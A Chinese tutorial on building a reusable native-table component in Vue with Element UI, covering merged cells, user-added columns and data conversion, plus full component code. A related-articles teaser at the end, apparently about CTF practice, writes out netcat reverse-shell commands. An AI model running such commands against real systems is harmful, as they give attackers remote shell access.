vue封装原生table表格方法

适用场景:有若干个表格,前面几列格式不一致,但是后面几列格式皆为占一个单元格,所以需要封装表格,表格元素自动根据数据结构生成即可;并且用户可新增列数据。

分类
固定数据部分 就是根据数据结构传参设置table单元格内容及格式,数据结构由前端定义;
可新增删除部分 是由用户操作,格式统一为占一格,返回数据结构以列为单位,其中,删除列以判断对应列是否有表头为依据。
在这里插入图片描述

展示效果如下:

封装原生表格演示

目录

  • 固定表格部分
    • 数据格式
    • 元素设置
  • 可新增删除部分
    • 数据格式
    • 元素设置
    • 新增的方法
    • 删除的方法
    • 数据转换
      • 将格式转化为以列
      • 将格式转化为以表格
  • 全部代码

固定表格部分

需要确定的是固定表格中的需要给单元格元素传哪些值:

  1. 单元格的内容;
  2. 单元格格式会有很多种情况,可能会占几行,也可能会占几列,所以就需要控制着每个单元格的colspan和rowspan;
  3. 单元格的内容长短不一致所以也需要控制着单元格的宽度;

其它参数可有可无,需要依照自身需求添加逻辑。

数据格式

数据格式有四大字段,分别控制着出表头以外的行数(tdRows),为了便于控制除表头的tr循环次数;表格名称(title);表头内容(ths)和表身内容(tds)。

SafetyTableData:{tdRows: 3,//除表头的tbody所占行数title: '表格名称表格名称表格名称表格名称表格名称',ths: [{thName: 'Safety/安全',colspan: 1,rowspan: 4,isEdit: false,width: 100,},{thName: '关键指标KPI',colspan: 2,rowspan: 1,isEdit: false,width: 100,},{thName: '输出部门',colspan: 1,rowspan: 1,isEdit: false,width: 100,},{thName: '公式',colspan: 1,rowspan: 1,isEdit: false,width: 180,},{thName: '单位',colspan: 1,rowspan: 1,isEdit: false,width: 100,},],tds: [[{ tdName: '伤害', colspan: 1, rowspan: 3, isEdit: false, width: 30, },{ tdName: '占比%', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: '游戏', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: '(损失工时/ 投入工时)*100%', colspan: 1, rowspan: 1, isEdit: false, width: 180, },{ tdName: '%', colspan: 1, rowspan: 1, isEdit: false, width: 100, },],[{ tdName: '一些值', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: '游戏', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: 'ABCDEFG', colspan: 1, rowspan: 1, isEdit: false, width: 180, },{ tdName: 'absolute', colspan: 1, rowspan: 1, isEdit: false, width: 100, },],[{ tdName: '实际占比%', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: '游戏', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: '(实际损失工时/实际投入工时)*100%', colspan: 1, rowspan: 1, isEdit: false, width: 180, },{ tdName: '%', colspan: 1, rowspan: 1, isEdit: false, width: 100, },],// Repeat similar structure for other rows as needed],},

元素设置

detailTableData为表格固定格式需要显示的数据,前面已设置了SafetyTableData的数据格式,可以直接将SafetyTableData赋值给detailTableData。若还有其他固定表格格式同理视情况赋值即可。

<table border="1"><tr ref="tableHeader"><th v-for="(thItem, index) in detailTableData.ths" :key="'th-' + index" :rowspan="thItem.rowspan" :colspan="thItem.colspan" :style="'width:'+thItem.width+'px'">{{thItem.thName}}</th></tr><tr v-for="rowIndex in detailTableData.tdRows" :key="rowIndex"><td v-for="(tdItem, colIndex) in detailTableData.tds[rowIndex-1]" :key="'td-' + rowIndex + '-' + colIndex" :rowspan="tdItem.rowspan" :colspan="tdItem.colspan" :style="'width:'+tdItem.width+'px'">{{tdItem.tdName}}</td></tr>
</table>

可新增删除部分

既然可新增删除部分都是占一个单元格,那么可以确定的是colspan和rowspan都为1。

数据格式

全局参数(newTableData)用于存放所有用户新增的数据;newThObj为新增表头时的数据;newTdObj为新增表身时的数据。

newTableData: {ths: [],tds: [], // 初始包含一个空数组
},
newThObj: {thName: '',colspan: 1,rowspan: 1,isEdit: true,
},
newTdObj: {tdName: '',colspan: 1,rowspan: 1,isEdit: true,
},

元素设置

<table border="1"><tr ref="tableHeader"><th v-for="(newThItem,newindex) in newTableData.ths" :key="newindex" class="item" :id="'test'+newindex"><el-input v-if="newThItem.isEdit && editTableSate" v-model="newThItem.thName" placeholder="请输入时间"></el-input><span v-else>{{newThItem.thName}}</span></th></tr><tr v-for="rowIndex in detailTableData.tdRows" :key="rowIndex"><td v-for="(newTdItem, newColIndex) in newTableData.tds[rowIndex-1]" :key="newColIndex"><el-input v-if="newTdItem.isEdit && editTableSate" v-model="newTdItem.tdName" placeholder="请输入"></el-input><span v-else>{{newTdItem.tdName}}</span></td></tr>
</table>

新增的方法

// 新增列的点击事件addTableColBtn() {// 向 newTableData.ths 添加一个新的表头对象this.newTableData.ths.push({ ...this.newThObj });// 如果 tds 为空,需要初始化它if (this.newTableData.tds.length === 0) {for (let i = 0; i < this.detailTableData.tdRows; i++) {this.newTableData.tds.push([]);}}// 遍历每一行,添加空单元格以匹配表头列数this.newTableData.tds.forEach(row => {row.push({ ...this.newTdObj });});},

删除的方法

// 反向遍历以避免删除元素时影响索引 -- 以表头为准,若表头为空,则提交后对应列为空for (let i = this.newTableData.ths.length - 1; i >= 0; i--) {if (!this.newTableData.ths[i].thName) {let shouldDeleteColumn = true;for (let row = 0; row < this.newTableData.tdRows; row++) {if (this.newTableData.tds[row][i].tdName) {shouldDeleteColumn = false;break;}}// 如果该列满足删除条件,则删除if (shouldDeleteColumn) {this.newTableData.ths.splice(i, 1);this.newTableData.tds.forEach(row => {row.splice(i, 1);});}}}

数据转换

在这里插入图片描述

将格式转化为以列

将newTableData{ths: [], tds: [],}转化为data[{SORT:‘’,TIME:‘’,TLLRGOAL:‘’,AF:‘’,ACTUALTLLR:‘’,}]格式

/*** 用于表格封装方法* @param {*object} newTableData:{ths:[],tds:[],} * @param {*string} type* @returns {*array} array:[{SORT:'',TIME:'',Cells1:'',Cells2:'',Cells3:'',}]*/transformTableData(newTableData, type) {const transformedData = [];newTableData.ths.forEach((th, index) => {const thName = th.thName;const colIndex = index;var transformedObj = {};switch (type) {case 'Safety'://安全transformedObj = {SORT: (colIndex + 1).toString(),//列数TIME: thName,//表头内容Cells1: newTableData.tds[0][colIndex].tdName,//单元格内容1Cells2: newTableData.tds[1][colIndex].tdName,//单元格内容2Cells3: newTableData.tds[2][colIndex].tdName//单元格内容3};break;default:break;}transformedData.push(transformedObj);});return transformedData;}

将格式转化为以表格

将data[{SORT:‘’,TIME:‘’,TLLRGOAL:‘’,AF:‘’,ACTUALTLLR:‘’,}]格式转化为newTableData{ths: [], tds: [],}

/*** 用于将获取数据返回至符合表格的封装方法* @param {*array} data:[{SORT:'',TIME:'',Cells1:'',Cells2:'',Cells3:'',}]* @returns {*object} newTableData:{ths:[],tds:[],} */transformData(data) {// 初始化 newTableData 结构let newTableData = {ths: [],tds: []};// 提取所有的列名,除了 "SORT" 和 "TIME"、"ID",因为这三个是固定的const columns = Object.keys(data[0]).filter(key => key !== "SORT" && key !== "TIME" && key !== "ID");// 填充 ths 数组newTableData.ths = data.map(item => ({thName: item.TIME,colspan: 1,rowspan: 1,isEdit: true}));// 填充 tds 数组for (let column of columns) {let columnData = data.map(item =>({tdName: item[column],colspan: 1,rowspan: 1,isEdit: true}));// 将每个字段的值按顺序插入 tds 数组newTableData.tds.push([...columnData]);}return newTableData;}

全部代码

<template><div class="testbox"><div class="bartype-class"><div class="verticalbar-class"></div><h4>Details</h4><el-button v-if="!editTableSate" @click="editTableBtn" size="mini" icon="el-icon-edit" style="margin-left:2%;">编 辑</el-button><div v-else style="margin-left: auto;display:flex;"><el-button @click="addTableColBtn" size="mini" icon="el-icon-plus">新增列</el-button><el-button @click="saveTableBtn" size="mini" icon="el-icon-upload">提 交</el-button></div></div><div class="tabletitle-class" v-if="detailTableData.title">{{detailTableData.title}}</div><div class="bar-class mytable" style="overflow: auto;"><table border="1"><tr ref="tableHeader"><th v-for="(thItem, index) in detailTableData.ths" :key="'th-' + index" :rowspan="thItem.rowspan" :colspan="thItem.colspan" :style="'width:'+thItem.width+'px'">{{thItem.thName}}</th><th v-for="(newThItem,newindex) in newTableData.ths" :key="newindex" class="item" :id="'test'+newindex"><el-input v-if="newThItem.isEdit && editTableSate" v-model="newThItem.thName" placeholder="请输入时间"></el-input><span v-else>{{newThItem.thName}}</span></th></tr><tr v-for="rowIndex in detailTableData.tdRows" :key="rowIndex"><td v-for="(tdItem, colIndex) in detailTableData.tds[rowIndex-1]" :key="'td-' + rowIndex + '-' + colIndex" :rowspan="tdItem.rowspan" :colspan="tdItem.colspan" :style="'width:'+tdItem.width+'px'">{{tdItem.tdName}}</td><td v-for="(newTdItem, newColIndex) in newTableData.tds[rowIndex-1]" :key="newColIndex"><el-input v-if="newTdItem.isEdit && editTableSate" v-model="newTdItem.tdName" placeholder="请输入"></el-input><span v-else>{{newTdItem.tdName}}</span></td></tr></table></div></div>
</template><script>export default {components: {},data() {return {detailTableData: {},//表格显示的数据// 安全表格固定数据;ID: 6SafetyTableData:{tdRows: 3,//除表头的tbody所占行数title: '表格名称表格名称表格名称表格名称表格名称',ths: [{thName: 'Safety/安全',colspan: 1,rowspan: 4,isEdit: false,width: 100,},{thName: '关键指标KPI',colspan: 2,rowspan: 1,isEdit: false,width: 100,},{thName: '输出部门',colspan: 1,rowspan: 1,isEdit: false,width: 100,},{thName: '公式',colspan: 1,rowspan: 1,isEdit: false,width: 180,},{thName: '单位',colspan: 1,rowspan: 1,isEdit: false,width: 100,},],tds: [[{ tdName: '伤害', colspan: 1, rowspan: 3, isEdit: false, width: 30, },{ tdName: '占比%', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: '游戏', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: '(损失工时/ 投入工时)*100%', colspan: 1, rowspan: 1, isEdit: false, width: 180, },{ tdName: '%', colspan: 1, rowspan: 1, isEdit: false, width: 100, },],[{ tdName: '一些值', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: '游戏', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: 'ABCDEFG', colspan: 1, rowspan: 1, isEdit: false, width: 180, },{ tdName: 'absolute', colspan: 1, rowspan: 1, isEdit: false, width: 100, },],[{ tdName: '实际占比%', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: '游戏', colspan: 1, rowspan: 1, isEdit: false, width: 100, },{ tdName: '(实际损失工时/实际投入工时)*100%', colspan: 1, rowspan: 1, isEdit: false, width: 180, },{ tdName: '%', colspan: 1, rowspan: 1, isEdit: false, width: 100, },],// Repeat similar structure for other rows as needed],},newTableData: {ths: [],tds: [], // 初始包含一个空数组},newThObj: {thName: '',colspan: 1,rowspan: 1,isEdit: true,},newTdObj: {tdName: '',colspan: 1,rowspan: 1,isEdit: true,},editTableSate: false,//表格编辑状态};},created() {},computed: {},mounted() {this.detailTableData = this.SafetyTableData;},methods: {// 编辑表格按钮editTableBtn() {this.editTableSate = true;},// 新增列的点击事件addTableColBtn() {// 向 newTableData.ths 添加一个新的表头对象this.newTableData.ths.push({ ...this.newThObj });// 如果 tds 为空,需要初始化它if (this.newTableData.tds.length === 0) {for (let i = 0; i < this.detailTableData.tdRows; i++) {this.newTableData.tds.push([]);}}// 遍历每一行,添加空单元格以匹配表头列数this.newTableData.tds.forEach(row => {row.push({ ...this.newTdObj });});},// 保存表格的点击事件saveTableBtn() {// 反向遍历以避免删除元素时影响索引 -- 以表头为准,若表头为空,则提交后对应列为空for (let i = this.newTableData.ths.length - 1; i >= 0; i--) {if (!this.newTableData.ths[i].thName) {let shouldDeleteColumn = true;for (let row = 0; row < this.newTableData.tdRows; row++) {if (this.newTableData.tds[row][i].tdName) {shouldDeleteColumn = false;break;}}// 如果该列满足删除条件,则删除if (shouldDeleteColumn) {this.newTableData.ths.splice(i, 1);this.newTableData.tds.forEach(row => {row.splice(i, 1);});}}}this.saveTableDataFun();},// 保存表格数据函数async saveTableDataFun() {var data = [];if (this.newTableData.ths.length) {data = this.transformTableData(this.newTableData, 'Safety');}console.log('data:', data);this.editTableSate = false;},/*** 用于表格封装方法* @param {*object} newTableData:{ths:[],tds:[],} * @param {*string} type* @returns {*array} array:[{SORT:'',TIME:'',Cells1:'',Cells2:'',Cells3:'',}]*/transformTableData(newTableData, type) {const transformedData = [];newTableData.ths.forEach((th, index) => {const thName = th.thName;const colIndex = index;var transformedObj = {};switch (type) {case 'Safety'://安全transformedObj = {SORT: (colIndex + 1).toString(),//列数TIME: thName,//表头内容Cells1: newTableData.tds[0][colIndex].tdName,//单元格内容1Cells2: newTableData.tds[1][colIndex].tdName,//单元格内容2Cells3: newTableData.tds[2][colIndex].tdName//单元格内容3};break;default:break;}transformedData.push(transformedObj);});return transformedData;},/*** 用于将获取数据返回至符合表格的封装方法* @param {*array} data:[{SORT:'',TIME:'',Cells1:'',Cells2:'',Cells3:'',}]* @returns {*object} newTableData:{ths:[],tds:[],} */transformData(data) {// 初始化 newTableData 结构let newTableData = {ths: [],tds: []};// 提取所有的列名,除了 "SORT" 和 "TIME"、"ID",因为这三个是固定的const columns = Object.keys(data[0]).filter(key => key !== "SORT" && key !== "TIME" && key !== "ID");// 填充 ths 数组newTableData.ths = data.map(item => ({thName: item.TIME,colspan: 1,rowspan: 1,isEdit: true}));// 填充 tds 数组for (let column of columns) {let columnData = data.map(item =>({tdName: item[column],colspan: 1,rowspan: 1,isEdit: true}));// 将每个字段的值按顺序插入 tds 数组newTableData.tds.push([...columnData]);}return newTableData;}},watch: {}
};
</script><style scoped>
.testbox {width: 100%;height: 100%;
}
.bartype-class {display: flex;align-items: center;height: 25px;margin: 10px 0;
}
.verticalbar-class {width: 4px;height: 100%;background: #555555;margin-right: 9px;
}.mytable table {border-collapse: collapse;width: 100%;font-size: 12px;
}
.mytable table td:first-child,
th:first-child {/* font-weight: bold; *//* background-color: pink; */width: 15%;
}
.mytable table th,
td {border: 1px solid #ddd;text-align: center;padding: 8px;
}.mytable table th {background-color: #f2f2f2;
}
.text-left {text-align: left;
}
.mytable .el-input {width: 80px;
}
.mytable .el-input__inner {padding: 0 5px;
}
.item {cursor: pointer;
}
.tabletitle-class {background: #0070c0;color: #fff;margin: 0.5% 0;display: flex;justify-content: center;align-items: center;height: 30px;font-weight: bold;letter-spacing: 2px;
}
</style> 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/861332.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

openlayers性能优化——开启图层预加载、减少空白等待时间

使用切片图层时、地图拖拽会有空白图片&#xff0c;为了减少空白等待时间&#xff0c;我们可以开始图层预加载。 const map_top new Map({layers: [new TileLayer({preload:Infinity, //预加载source: new StadiaMaps({layer: "outdoors",}),}),],target: "ma…

LINKAI工作流的建立与调试,用到COW项目的微信机器人上

连接时需要把右边的号连到下一个框的输入&#xff0c;开始与结束是默认的。 可以单独调试模块 可以对模块进行个性化定义 最后进行总流程调试 将这里的code放到config.json文件中 接着又做了一个较复杂的工作流DgPz9wJaoh   QlCc34a8bP 原项目网址&#xff1a; https:/…

【学习笔记-机器学习】感知机模型

Author&#xff1a;赵志乾 Date&#xff1a;2024-06-26 Declaration&#xff1a;All Right Reserved&#xff01;&#xff01;&#xff01; 1. 基本概念 数据集的线性可分性&#xff1a;给定一个数据集 其中&#xff0c;&#xff0c;&#xff0c;,如果存在某个超平面S 能够将数…

Python的100道练习题目,每日一练,必成大神!!!

整理了100道Python的题目&#xff0c;如果你是一位初学者&#xff0c;这一百多道题可以 帮助你轻松的使用Python。初学 者每天可以尝试3-5个问题&#xff0c;经过这一百道题的练习&#xff0c;要把练习昨晚并且完全懂了&#xff0c;基本上Python就已 经入门了。如果你不是初学者…

Day 34:2368. 受限条件下可到达节点的数目

Leetcode 2368. 受限条件下可到达节点的数目 现有一棵由 n 个节点组成的无向树&#xff0c;节点编号从 0 到 n - 1 &#xff0c;共有 n - 1 条边。 给你一个二维整数数组 edges &#xff0c;长度为 n - 1 &#xff0c;其中 edges[i] [ai, bi] 表示树中节点 ai 和 bi 之间存在一…

OpenCV 车道检测

OpenCV 车道检测 前言模型分析车道检测相关链接 前言 如果要检测道路图像中的车道&#xff0c;方法之一是利用深度学习的语义分割技术。而在 OpenCV 中解决此问题可以使用边缘检测器。在本节中&#xff0c;我们将了解如何使用边缘检测和直线检测识别道路图像中的车道。 模型分…

测试用例的基本要素与设计方法

测试用例的基本要素 测试用例&#xff08;Test Case&#xff09;是为了实施测试而向被测试的系统提供的一组集合&#xff0c;这组集合包含&#xff1a;测试环境、操作步骤、测试数据、预期结果等要素。 好的测试用例是一个不熟悉业务的人也能依据用例来很快的进行测试评价测试用…

RT-Thread使用HAL库实现双线程控制LED交替闪烁

如何创建工程我的其他文中你面有可以进去查看 1创建线程&#xff08;以动态方式实现&#xff09; 1-2创建函数入口 1-2启动函数 main.c文件源码 /** Copyright (c) 2006-2024, RT-Thread Development Team** SPDX-License-Identifier: Apache-2.0** Change Logs:* Date …

【课程总结】Day11(下):YOLO的入门使用

前言 YOLO的简介 YOLO&#xff08;You Only Look Once&#xff09;是一种流行的目标检测算法&#xff0c;由Joseph Redmon等人于2015年提出。YOLO的设计思想是将目标检测任务转化为单个神经网络的回归问题&#xff0c;通过在图像上划分网格并对每个网格预测边界框和类别置信度…

40.连接假死-空闲检测-发送心跳

连接假死情况 1.网络设备出现故障,例如网卡,机房等。底层的TCP连接已经断开,但应用程序没有感知到,仍然占着资源。 2.公网网络不稳定,出现丢包。若果连续出现丢包,这时现象就是客户端数据发不出去,服务端也一直收不到数据,就这么一直耗着。 3.应用程序线程阻塞,无法…

Java初识集合(后续不断补充)

第一次更新时间&#xff1a;2024.6.26 集合概述 Java中的集合就像一个容器&#xff0c;专门用来存储Java对象&#xff08;实际上是对象的引用&#xff0c;但习惯称为对象&#xff09;&#xff0c;这些对象可以是任意的数据类型&#xff0c;并且长度可变。其中&#xff0c;这些…

反弹shell 纯干货版 --D--K--盾

本文主要讲解我已知的CTF中对VPS的利用的教程模块&#xff0c;所以本篇文章将会持续更新并且有改动 解密base64会解锁新大陆&#xff1a; REvnm77lrpjmlrnnvqTvvJo3MjcwNzcwNTU弹shell 弹shell有很多种类 NC nc ip port -e /bin/sh nc -e /bin/sh ip port //这种版…

一文了解自定义表单系统开源的多个优势

降本、提质、增效&#xff0c;是当前很多企业都想实现的目的。什么样的软件可以助力企业创造价值&#xff1f;低代码技术平台是近些年得到了很多客户喜爱的平台产品&#xff0c;因为它能帮助大家减少编程代码的撰写&#xff0c;能轻松助力各部门之间做好协调沟通工作&#xff0…

springcould-config git源情况下报错app仓库找不到

在使用spring config server服务的时候发现在启动之后的一段时间内控制台会抛出异常&#xff0c;spring admin监控爆红&#xff0c;控制台信息如下 --2024-06-26 20:38:59.615 - WARN 2944 --- [oundedElastic-7] o.s.c.c.s.e.JGitEnvironmentRepository : Error occured …

番外篇 | YOLOv8改进之利用轻量化卷积PConv引入全新的结构CSPPC来替换Neck网络中的C2f | 模型轻量化

前言:Hello大家好,我是小哥谈。本文使用轻量化卷积PConv替换Neck中C2f模块中Bottleneck里的传统卷积核得到CSPPC模块,使得模型更加轻量化。🌈 目录 🚀1.基础概念 🚀2.网络结构 🚀3.添加步骤 🚀4.改进方法 🍀🍀步骤1:block.py文件修改 🍀🍀步…

MySQL 8 命令安装卸载教程

一、下载MySQL8 下载连接 MySQL :: Download MySQL Community Server 我下载的是当前最新版8.4 二、安装 1.解压 解压到需要安装的位置&#xff0c;例如我的位置&#xff1a; 2.创建配置文件 新建文本文档&#xff0c;复制下面配置文件&#xff08;注意修改路经&#xff09;…

Modbus TCP什么场景用?

什么是Modbus TCP Modbus TCP是一种基于TCP/IP网络的通信协议&#xff0c;它允许不同的设备通过以太网进行数据交换。Modbus协议最初是为串行通信设计的&#xff0c;但随着网络技术的发展&#xff0c;Modbus TCP应运而生&#xff0c;它继承了Modbus RTU和Modbus ASCII的许多优点…

平凉小果子,平凡中的惊艳味道

平凉美食小果子&#xff0c;这看似平凡的名字背后&#xff0c;藏着无数平凉人的美好回忆。它不仅仅是一种食物&#xff0c;更是一种情感的寄托&#xff0c;一种文化的传承。小果子的制作过程看似简单&#xff0c;实则蕴含着深厚的功夫。选用优质的面粉作为主要原料&#xff0c;…

Java学习笔记(多线程):CompetableFuture

本文是自己的学习笔记&#xff0c;主要参考资料如下 https://www.cnblogs.com/dolphin0520/p/3920407.html JavaSE文档 https://blog.csdn.net/ThinkWon/article/details/102508721 1、Overview2、重要参数3、主要方法3.1、创建实例&#xff0c;获取返回值3.2、线程执行顺序相关…

大自然高清风景视频无水印素材在哪下载?下载视频素材网分享

在视频创作领域&#xff0c;一段高清的风景视频可以极大地提升你的作品质感。无论是作为背景、过渡片段还是主要内容&#xff0c;优质的风景视频素材都是必不可少的。然而&#xff0c;寻找既高清又无水印的风景视频素材并非易事。为了帮助大家轻松获取这类素材&#xff0c;我整…